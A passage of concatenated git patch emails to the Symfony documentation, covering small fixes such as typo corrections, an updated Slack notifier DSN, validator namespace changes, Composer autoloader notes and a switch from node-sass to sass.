 check the "Symfony Server" section in the web debug toolbar; you'll see that
 "Docker Compose" is "Up".
 
+.. note::
+
+    If you don't want environment variables to be exposed for a service, set
+    the ``com.symfony.server.service-ignore`` label to ``true``:
+
+    .. code-block:: yaml
+
+        # docker-compose.yaml
+        services:
+            db:
+                ports: [3306]
+                labels:
+                    com.symfony.server.service-ignore: true
+
 If your Docker Compose file is not at the root of the project, use the
 ``COMPOSE_FILE`` and ``COMPOSE_PROJECT_NAME`` environment variables to define
 its location, same as for ``docker-compose``:

From a18ef8d7c1aef993f69e76bca3423d245bbc932f Mon Sep 17 00:00:00 2001
From: postal <siedler1@freenet.de>
Date: Wed, 25 Nov 2020 11:52:14 +0100
Subject: [PATCH 1540/7107] A method call is reversed

The order of the methods is reversed. The method "advance()" must be called after the "setMessage()".
---
 components/console/helpers/progressbar.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 1aa4dbfc6e2..c8ef2f25a1f 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -362,8 +362,8 @@ placeholder before displaying the progress bar::
     $progressBar->start();
     // 0/100 -- Start
 
-    $progressBar->advance();
     $progressBar->setMessage('Task is in progress...');
+    $progressBar->advance();    
     // 1/100 -- Task is in progress...
 
 Messages can be combined with custom placeholders too. In this example, the

From be63d709faaef0afde617d18a000b2b1b9fe7023 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 25 Nov 2020 15:59:25 +0100
Subject: [PATCH 1541/7107] Enhancement: Add /me to the CODEOWNERS file for
 GithubActions workflows

---
 .github/CODEOWNERS | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
index 51ce53a1a89..9eb5d91783b 100644
--- a/.github/CODEOWNERS
+++ b/.github/CODEOWNERS
@@ -1,3 +1,6 @@
+# GithubActions workflows
+/.github/workflows* @OskarStark
+
 # Console
 /console* @chalasr
 /components/console* @chalasr

From 6b4bee4d17742e7c606f42685c7400531fca0110 Mon Sep 17 00:00:00 2001
From: Steven DUBOIS <symfony@duboiss.fr>
Date: Wed, 25 Nov 2020 16:41:57 +0100
Subject: [PATCH 1542/7107] Update events.rst

---
 doctrine/events.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 309d10a7e12..c98be25d736 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -16,7 +16,7 @@ on other common tasks (e.g. ``loadClassMetadata``, ``onClear``).
 
 There are different ways to listen to these Doctrine events:
 
-* **Lifecycle callbacks**, they are defined as methods on the entity classes and
+* **Lifecycle callbacks**, they are defined as public methods on the entity classes and
   they are called when the events are triggered;
 * **Lifecycle listeners and subscribers**, they are classes with callback
   methods for one or more events and they are called for all entities;
@@ -46,7 +46,7 @@ to learn everything about them.
 Doctrine Lifecycle Callbacks
 ----------------------------
 
-Lifecycle callbacks are defined as methods inside the entity you want to modify.
+Lifecycle callbacks are defined as public methods inside the entity you want to modify.
 For example, suppose you want to set a ``createdAt`` date column to the current
 date, but only when the entity is first persisted (i.e. inserted). To do so,
 define a callback for the ``prePersist`` Doctrine event:

From def35a7da9d49d627906d69aac68e0d597ceba4a Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Mon, 23 Nov 2020 15:29:56 +0100
Subject: [PATCH 1543/7107] [Notifier] Add better example for Slack DSN

---
 notifier.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 9737df6395e..cad35611ec0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -149,6 +149,8 @@ Chatters are configured using the ``chatter_transports`` setting:
 
     # .env
     SLACK_DSN=slack://default/ID
+    # If your slack webhook looks like "https://hooks.slack.com/services/XXXXXXXXX/XXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXX" then use:
+    SLACK_DSN=slack://default/XXXXXXXXX/XXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXX
 
 .. configuration-block::
 

From deec89a9352a62842553264327619c1ce32c3ab8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Malte=20Schlu=CC=88ter?= <malte.schlueter@sensiolabs.de>
Date: Thu, 26 Nov 2020 00:20:46 +0100
Subject: [PATCH 1544/7107] Delete duplicated words

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 2f60f369b97..db648334625 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -788,7 +788,7 @@ indexed by the ``key`` attribute:
 
 After compilation the ``HandlerCollection`` is able to iterate over your
 application handlers. To retrieve a specific service by it's ``key`` attribute
-from the iterator, we can use ``iterator_to_array`` and retrieve the ``handler_two``:
+from the iterator, we can use ``iterator_to_array``
 to get an array and then retrieve the ``handler_two`` handler::
 
     // src/Handler/HandlerCollection.php

From cf8af6af4ab5f541b8f7bb155434cc769a1d301d Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Thu, 26 Nov 2020 09:54:54 +0100
Subject: [PATCH 1545/7107] Update messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index e9253431bd4..2f33d850cbc 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1202,7 +1202,7 @@ under the transport in ``messenger.yaml``:
 ======================  ======================================  ===================================
 ``access_key``          AWS access key
 ``account``             Identifier of the AWS account           The owner of the credentials
-``auto_setup``          Whether the table should be created     ``true``
+``auto_setup``          Whether the queue should be created     ``true``
                         automatically during send / get.
 ``buffer_size``         Number of messages to prefetch          9
 ``endpoint``            Absolute URL to the SQS service         https://sqs.eu-west-1.amazonaws.com

From f1f44c4eaed18edc03e2f7b7360f7a5ad4cf6276 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Nov 2020 10:55:19 +0100
Subject: [PATCH 1546/7107] Tweaks

---
 service_container/tags.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index db648334625..23dd6472422 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -787,9 +787,9 @@ indexed by the ``key`` attribute:
         };
 
 After compilation the ``HandlerCollection`` is able to iterate over your
-application handlers. To retrieve a specific service by it's ``key`` attribute
-from the iterator, we can use ``iterator_to_array``
-to get an array and then retrieve the ``handler_two`` handler::
+application handlers. To retrieve a specific service from the iterator, call the
+``iterator_to_array()`` function and then use the ``key`` attribute to get the
+array element. For example, to retrieve the ``handler_two`` handler::
 
     // src/Handler/HandlerCollection.php
     namespace App\Handler;

From dd8afa5117cf762f65c6333e09111976116c246b Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Thu, 26 Nov 2020 11:09:04 +0100
Subject: [PATCH 1547/7107] Update performance.rst

---
 performance.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/performance.rst b/performance.rst
index de0d7883a04..8d3eb05d2c0 100644
--- a/performance.rst
+++ b/performance.rst
@@ -209,6 +209,8 @@ deployment process too):
   used in your application and prevents Composer from scanning the file system for
   classes that are not found in the class map. (see: `Composer's autoloader optimization`_).
 
+You can also use the ``--classmap-authoritative`` option with the ``composer install`` command.
+
 .. _profiling-applications:
 
 Profiling Symfony Applications

From 7c9ffd764ec1d5a9071ade291543935220cd0f6e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 27 Nov 2020 00:11:24 +0100
Subject: [PATCH 1548/7107] Fixing uppercase typo

---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index eebfd087fb0..72bd3d17599 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -1,7 +1,7 @@
 .. index::
    single: Validation; Custom constraints
 
-How to Create a custom Validation Constraint
+How to Create a Custom Validation Constraint
 ============================================
 
 You can create a custom constraint by extending the base constraint class,

From 1ffc0f7208d11859b78257ec9a22ae56b80b5250 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Fri, 27 Nov 2020 09:52:07 +0100
Subject: [PATCH 1549/7107] Update database.rst

hello, i add missing quotes.
---
 testing/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/database.rst b/testing/database.rst
index d2e0b18f24c..7e3acfd1db7 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -15,7 +15,7 @@ your project and define the new value for the ``DATABASE_URL`` env var:
 .. code-block:: bash
 
     # .env.test.local
-    DATABASE_URL=mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7
+    DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7"
 
 .. tip::
 

From 36b380cae21ef5bd0a572f49653ba904d7a71f93 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Malte=20Schl=C3=BCter?= <malte.schlueter@sensiolabs.de>
Date: Fri, 27 Nov 2020 12:08:18 +0100
Subject: [PATCH 1550/7107] Fix code example

In the code example is a colon instead of semicolon at the end of line
---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 23dd6472422..bf8f6959db4 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -800,7 +800,7 @@ array element. For example, to retrieve the ``handler_two`` handler::
         {
             $handlers = iterator_to_array($handlers);
 
-            $handlerTwo = $handlers['handler_two']:
+            $handlerTwo = $handlers['handler_two'];
         }
     }
 

From 89828678a7443848962d380b31980e22d893c75b Mon Sep 17 00:00:00 2001
From: gary houbre <gary.houbre@gmail.com>
Date: Fri, 27 Nov 2020 12:49:56 +0100
Subject: [PATCH 1551/7107] Added Invalid Constant

---
 console.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/console.rst b/console.rst
index 34dc50003f9..246ae474d48 100644
--- a/console.rst
+++ b/console.rst
@@ -57,6 +57,10 @@ want a command to create a user::
             // or return this if some error happened during the execution
             // (it's equivalent to returning int(1))
             // return Command::FAILURE;
+
+            // or return this if there was invalid value during the execution
+            // (it's equivalent to returning int(2))
+            // return Command::INVALID
         }
     }
 
@@ -65,6 +69,10 @@ want a command to create a user::
     The ``Command::SUCCESS`` and ``Command::FAILURE`` constants were introduced
     in Symfony 5.1.
 
+.. versionadded:: 5.3
+
+    The ``Command::INVALID`` constants was introduced in Symfony 5.3
+
 Configuring the Command
 -----------------------
 

From d41389ad85d4812423919a7c8c1f8163006c1f38 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Nov 2020 13:34:18 +0100
Subject: [PATCH 1552/7107] Tweak

---
 console.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/console.rst b/console.rst
index 246ae474d48..58708719974 100644
--- a/console.rst
+++ b/console.rst
@@ -58,8 +58,8 @@ want a command to create a user::
             // (it's equivalent to returning int(1))
             // return Command::FAILURE;
 
-            // or return this if there was invalid value during the execution
-            // (it's equivalent to returning int(2))
+            // or return this to indicate incorrect command usage; e.g. invalid options
+            // or missing arguments (it's equivalent to returning int(2))
             // return Command::INVALID
         }
     }
@@ -71,7 +71,7 @@ want a command to create a user::
 
 .. versionadded:: 5.3
 
-    The ``Command::INVALID`` constants was introduced in Symfony 5.3
+    The ``Command::INVALID`` constant was introduced in Symfony 5.3
 
 Configuring the Command
 -----------------------

From b407b347fca1692a83204a6e310b56abea424ffb Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 27 Nov 2020 00:56:38 +0100
Subject: [PATCH 1553/7107] [Validator] Removing the recommended `Constraints`
 subdirectory

---
 validation/custom_constraint.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index eebfd087fb0..26a447042ad 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -14,8 +14,8 @@ Creating the Constraint Class
 
 First you need to create a Constraint class and extend :class:`Symfony\\Component\\Validator\\Constraint`::
 
-    // src/Validator/Constraints/ContainsAlphanumeric.php
-    namespace App\Validator\Constraints;
+    // src/Validator/ContainsAlphanumeric.php
+    namespace App\Validator;
 
     use Symfony\Component\Validator\Constraint;
 
@@ -54,8 +54,8 @@ when actually performing the validation.
 
 The validator class only has one required method ``validate()``::
 
-    // src/Validator/Constraints/ContainsAlphanumericValidator.php
-    namespace App\Validator\Constraints;
+    // src/Validator/ContainsAlphanumericValidator.php
+    namespace App\Validator;
 
     use Symfony\Component\Validator\Constraint;
     use Symfony\Component\Validator\ConstraintValidator;
@@ -71,7 +71,7 @@ The validator class only has one required method ``validate()``::
             }
 
             // custom constraints should ignore null and empty values to allow
-            // other constraints (NotBlank, NotNull, etc.) take care of that
+            // other constraints (NotBlank, NotNull, etc.) to take care of that
             if (null === $value || '' === $value) {
                 return;
             }
@@ -117,7 +117,7 @@ You can use custom validators like the ones provided by Symfony itself:
         // src/Entity/AcmeEntity.php
         namespace App\Entity;
 
-        use App\Validator\Constraints as AcmeAssert;
+        use App\Validator as AcmeAssert;
         use Symfony\Component\Validator\Constraints as Assert;
 
         class AcmeEntity
@@ -140,7 +140,7 @@ You can use custom validators like the ones provided by Symfony itself:
             properties:
                 name:
                     - NotBlank: ~
-                    - App\Validator\Constraints\ContainsAlphanumeric: ~
+                    - App\Validator\ContainsAlphanumeric: ~
 
     .. code-block:: xml
 
@@ -153,7 +153,7 @@ You can use custom validators like the ones provided by Symfony itself:
             <class name="App\Entity\AcmeEntity">
                 <property name="name">
                     <constraint name="NotBlank"/>
-                    <constraint name="App\Validator\Constraints\ContainsAlphanumeric"/>
+                    <constraint name="App\Validator\ContainsAlphanumeric"/>
                 </property>
             </class>
         </constraint-mapping>
@@ -163,7 +163,7 @@ You can use custom validators like the ones provided by Symfony itself:
         // src/Entity/AcmeEntity.php
         namespace App\Entity;
 
-        use App\Validator\Constraints\ContainsAlphanumeric;
+        use App\Validator\ContainsAlphanumeric;
         use Symfony\Component\Validator\Constraints\NotBlank;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
@@ -241,13 +241,13 @@ not to the property:
         # config/validator/validation.yaml
         App\Entity\AcmeEntity:
             constraints:
-                - App\Validator\Constraints\ProtocolClass: ~
+                - App\Validator\ProtocolClass: ~
 
     .. code-block:: xml
 
         <!-- config/validator/validation.xml -->
         <class name="App\Entity\AcmeEntity">
-            <constraint name="App\Validator\Constraints\ProtocolClass"/>
+            <constraint name="App\Validator\ProtocolClass"/>
         </class>
 
     .. code-block:: php
@@ -255,7 +255,7 @@ not to the property:
         // src/Entity/AcmeEntity.php
         namespace App\Entity;
 
-        use App\Validator\Constraints\ProtocolClass;
+        use App\Validator\ProtocolClass;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
         class AcmeEntity

From 6ba56354f37add74088b4d1a4edc058ce12c941d Mon Sep 17 00:00:00 2001
From: sebpacz <74934099+sebpacz@users.noreply.github.com>
Date: Fri, 27 Nov 2020 15:09:54 +0100
Subject: [PATCH 1554/7107] Update index.rst

This is a very small change. I suggest replacing "function" with "functions" because each of these helpers offer more than one function. The word "functions" seems more appropriate.
---
 components/console/helpers/index.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/index.rst b/components/console/helpers/index.rst
index 87c62ca7629..5f328d47472 100644
--- a/components/console/helpers/index.rst
+++ b/components/console/helpers/index.rst
@@ -15,6 +15,6 @@ The Console Helpers
     debug_formatter
 
 The Console component comes with some useful helpers. These helpers contain
-function to ease some common tasks.
+functions to ease some common tasks.
 
 .. include:: map.rst.inc

From 74e2a7fb64bbdf7bffcc76688f6aae7fb27b2b93 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Nov 2020 17:37:01 +0100
Subject: [PATCH 1555/7107] Rewords

---
 performance.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/performance.rst b/performance.rst
index 8d3eb05d2c0..46ed5b9c7f8 100644
--- a/performance.rst
+++ b/performance.rst
@@ -189,14 +189,14 @@ such as Symfony projects, should use at least these values:
 Optimize Composer Autoloader
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The class loader used while developing the application is optimized to find
-new and changed classes. In production servers, PHP files should never change,
+The class loader used while developing the application is optimized to find new
+and changed classes. In production servers, PHP files should never change,
 unless a new application version is deployed. That's why you can optimize
-Composer's autoloader to scan the entire application once and build a "class map",
-which is a big array of the locations of all the classes and it's stored
-in ``vendor/composer/autoload_classmap.php``.
+Composer's autoloader to scan the entire application once and build an
+optimized "class map", which is a big array of the locations of all the classes
+and it's stored in ``vendor/composer/autoload_classmap.php``.
 
-Execute this command to generate the class map (and make it part of your
+Execute this command to generate the new class map (and make it part of your
 deployment process too):
 
 .. code-block:: terminal
@@ -209,8 +209,6 @@ deployment process too):
   used in your application and prevents Composer from scanning the file system for
   classes that are not found in the class map. (see: `Composer's autoloader optimization`_).
 
-You can also use the ``--classmap-authoritative`` option with the ``composer install`` command.
-
 .. _profiling-applications:
 
 Profiling Symfony Applications

From cc151fc41aaae8e91387f7d28d3bf8c37d35a3ee Mon Sep 17 00:00:00 2001
From: Ivan Ternovtsiy <diaborn19@gmail.com>
Date: Tue, 1 Dec 2020 11:13:09 +0200
Subject: [PATCH 1556/7107] Remove incorrect opcache preload instructions

---
 performance.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/performance.rst b/performance.rst
index 46ed5b9c7f8..afd5295a9e3 100644
--- a/performance.rst
+++ b/performance.rst
@@ -109,9 +109,7 @@ During container compilation (e.g. when running the ``cache:clear`` command),
 Symfony generates a file called ``preload.php`` in the ``config/`` directory
 with the list of classes to preload.
 
-The only requirement is that you need to set both ``container.dumper.inline_factories``
-and ``container.dumper.inline_class_loader`` parameters to ``true``. Then, you
-can configure PHP to use this preload file:
+You can configure PHP to use this preload file:
 
 .. code-block:: ini
 

From 9b1e113dbb34e3739ba298a3f476652f8375c685 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 1 Dec 2020 22:59:55 +0100
Subject: [PATCH 1557/7107] [Console] Update questionhelper.rst

I noticed that the link to the ask method redirects to Symfony\Component\Console\Command\Command instead of Symfony\Component\Console\Helper\QuestionHelper.
---
 components/console/helpers/questionhelper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index de1aefd2cfa..2174550a0cd 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -12,7 +12,7 @@ helper set, which you can get by calling
     $helper = $this->getHelper('question');
 
 The Question Helper has a single method
-:method:`Symfony\\Component\\Console\\Command\\Command::ask` that needs an
+:method:`Symfony\\Component\\Console\\Helper\\QuestionHelper::ask` that needs an
 :class:`Symfony\\Component\\Console\\Input\\InputInterface` instance as the
 first argument, an :class:`Symfony\\Component\\Console\\Output\\OutputInterface`
 instance as the second argument and a

From 36b60ac475fccea62f7ef338de5e26b9f2c7ed77 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Mon, 30 Nov 2020 16:43:45 +0100
Subject: [PATCH 1558/7107] [Security] Minor typo

---
 security/experimental_authenticators.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 8a1b6081d84..c86622ba84d 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -337,7 +337,7 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
                         - App\Security\ApiKeyAuthenticator
 
                     # don't forget to also configure the entry_point if the
-                    # authenticator implements AuthenticatorEntryPointInterface
+                    # authenticator implements AuthenticationEntryPointInterface
                     # entry_point: App\Security\CustomFormLoginAuthenticator
 
     .. code-block:: xml
@@ -409,7 +409,7 @@ well as other pieces of information, like whether a password should be checked
 or if "remember me" functionality should be enabled.
 
 The default
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`.
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`
 requires a user object and credentials. The following credential classes
 are supported by default:
 

From 2537437a54de9de1ac2fcb8399fe34a4f6d36021 Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Mon, 30 Nov 2020 18:49:48 +0100
Subject: [PATCH 1559/7107] Update http_cache.rst

Replaced "two" by "three" on line 313.
---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index 971679d5f82..0bd62b30c8e 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -315,7 +315,7 @@ Safe Methods: Only caching GET or HEAD requests
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 HTTP caching only works for "safe" HTTP methods (like GET and HEAD). This means
-two things:
+three things:
 
 * Don't try to cache PUT or DELETE requests. It won't work and with good reason.
   These methods are meant to be used when mutating the state of your application

From 886a3ef480a29b92735b3ee73b083e6efafdeb9a Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Thu, 3 Dec 2020 07:44:23 +0100
Subject: [PATCH 1560/7107] Add Titouan in the core team

---
 contributing/code/core_team.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 47fba9c2d94..9ff45966cbb 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -71,7 +71,8 @@ Active Core Members
   * **Tobias Nyholm** (`Nyholm`_);
   * **Wouter De Jong** (`wouterj`_);
   * **Alexander M. Turek** (`derrabus`_);
-  * **Jérémy Derussé** (`jderusse`_).
+  * **Jérémy Derussé** (`jderusse`_);
+  * **Titouan Galopin** (`tgalopin`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
 
@@ -207,3 +208,4 @@ discretion of the **Project Leader**.
 .. _`lsmith77`: https://github.com/lsmith77/
 .. _`derrabus`: https://github.com/derrabus/
 .. _`jderusse`: https://github.com/jderusse/
+.. _`tgalopin`: https://github.com/tgalopin/

From 3c48f6898c6bf47849306e558c55158c98755da3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Malte=20Schlu=CC=88ter?= <malte.schlueter@sensiolabs.de>
Date: Thu, 3 Dec 2020 11:24:58 +0100
Subject: [PATCH 1561/7107] [Notifier] Update information for slack on actual
 implementation

---
 notifier.rst | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index a3bb15f2232..3145bce544c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -145,29 +145,26 @@ GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_T
 LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-Slack       ``symfony/slack-notifier``        ``slack://default/ID``
+Slack       ``symfony/slack-notifier``        ``slack://TOKEN@default?channel=CHANNEL``
 Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``
 Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:APIKEY@ENDPOINT?channel=CHANNEL``
 ==========  ================================  ===========================================================================
 
 .. versionadded:: 5.1
 
-    The Mattermost and RocketChat integrations were introduced in Symfony
-    5.1. The Slack DSN changed in Symfony 5.1 to use Slack Incoming
-    Webhooks instead of legacy tokens.
+    The Mattermost and RocketChat integrations were introduced in Symfony 5.1.
 
 .. versionadded:: 5.2
 
     The GoogleChat, LinkedIn, Zulip and Discord integrations were introduced in Symfony 5.2.
+    The Slack DSN changed in Symfony 5.2 to use Slack Web API again same as in 5.0.
 
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash
 
     # .env
-    SLACK_DSN=slack://default/ID
-    # If your slack webhook looks like "https://hooks.slack.com/services/XXXXXXXXX/XXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXX" then use:
-    SLACK_DSN=slack://default/XXXXXXXXX/XXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXX
+    SLACK_DSN=slack://TOKEN@default?channel=CHANNEL
 
 .. configuration-block::
 

From a874705308eb708e6277ae30e5c539459313fc61 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Thu, 3 Dec 2020 14:13:06 +0100
Subject: [PATCH 1562/7107] Update lockable_trait.rst

---
 console/lockable_trait.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 7f751d09012..74c4c2a5870 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -38,6 +38,8 @@ that adds two convenient methods to lock and release commands::
             // if not released explicitly, Symfony releases the lock
             // automatically when the execution of the command ends
             $this->release();
+            
+            return 0;
         }
     }
 

From 9695d7ef573a24ad440c3b291bdd291fad83f390 Mon Sep 17 00:00:00 2001
From: Timo Bakx <timobakx@gmail.com>
Date: Thu, 3 Dec 2020 22:24:10 +0100
Subject: [PATCH 1563/7107] [Debug] Added option to specify the event
 dispatcher in debug:event-dispatcher

---
 event_dispatcher.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 55e99a8da34..03630c2e5f0 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -322,6 +322,18 @@ its name:
 
     $ php bin/console debug:event-dispatcher kernel.exception
 
+For the :doc:`new experimental Security </security/experimental_authenticators>`
+an event dispatcher per firewall was added. You can get the registered listeners
+for a particular event dispatcher by using the ``--dispatcher`` option:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher --dispatcher=security.event_dispatcher.main
+
+.. versionadded:: 5.3
+
+    The ``dispatcher`` option was introduced in Symfony 5.3.
+
 Learn more
 ----------
 

From 41418b7dad20e9f73aacdd00fe30f0a4a8e707b5 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <weaverryan+github@gmail.com>
Date: Thu, 3 Dec 2020 11:25:15 -0500
Subject: [PATCH 1564/7107] Prefer sass over node-sass

---
 frontend/encore/simple-example.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 6ddcd5bdbd8..d4f74989aa1 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -311,15 +311,15 @@ Encore. When you do, you'll see an error!
 
 .. code-block:: terminal
 
-    >   Error: Install sass-loader & node-sass to use enableSassLoader()
-    >     yarn add sass-loader@^8.0.0 node-sass --dev
+    >   Error: Install sass-loader & sass to use enableSassLoader()
+    >     yarn add sass-loader@^10.0.0 sass --dev
 
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
 
 .. code-block:: terminal
 
-    $ yarn add sass-loader@^8.0.0 node-sass --dev
+    $ yarn add sass-loader@^10.0.0 sass --dev
     $ yarn encore dev --watch
 
 Your app now supports Sass. Encore also supports LESS and Stylus. See

From f2a3cf57488bb80b08b519358d458e74a52a930e Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sat, 5 Dec 2020 18:03:19 +0100
Subject: [PATCH 1565/7107] Minor modification about the .meta file contents

The explanation about the `.meta` file contents is not totally true. Only `ComposerResource` stores timestamps (for `installed.json` files). For project source and configuration files involved in the generation of a file in the cache, the `filemtime` is directly used to retrieve the resource timestamp and to compare it with the `filemtime` of the generated file.

Source: https://github.com/symfony/symfony/blob/21ef411cc96459d0d87ac3e1d565aca4bba1cb21/src/Symfony/Component/Config/Resource/FileResource.php#L65
---
 components/dependency_injection/compilation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 8f50b2b0d0c..55725be8da0 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -564,8 +564,8 @@ Now the cached dumped container is used regardless of whether debug mode
 is on or not. The difference is that the ``ConfigCache`` is set to debug
 mode with its second constructor argument. When the cache is not in debug
 mode the cached container will always be used if it exists. In debug mode,
-an additional metadata file is written with the timestamps of all the resource
-files. These are then checked to see if the files have changed, if they
+an additional metadata file is written with all the involved resource
+files. These are then checked to see if their timestamps have changed, if they
 have the cache will be considered stale.
 
 .. note::

From 4677e42c58bf87f72dd75150eb41f852acf7a576 Mon Sep 17 00:00:00 2001
From: Valentin Udaltsov <udaltsov.valentin@gmail.com>
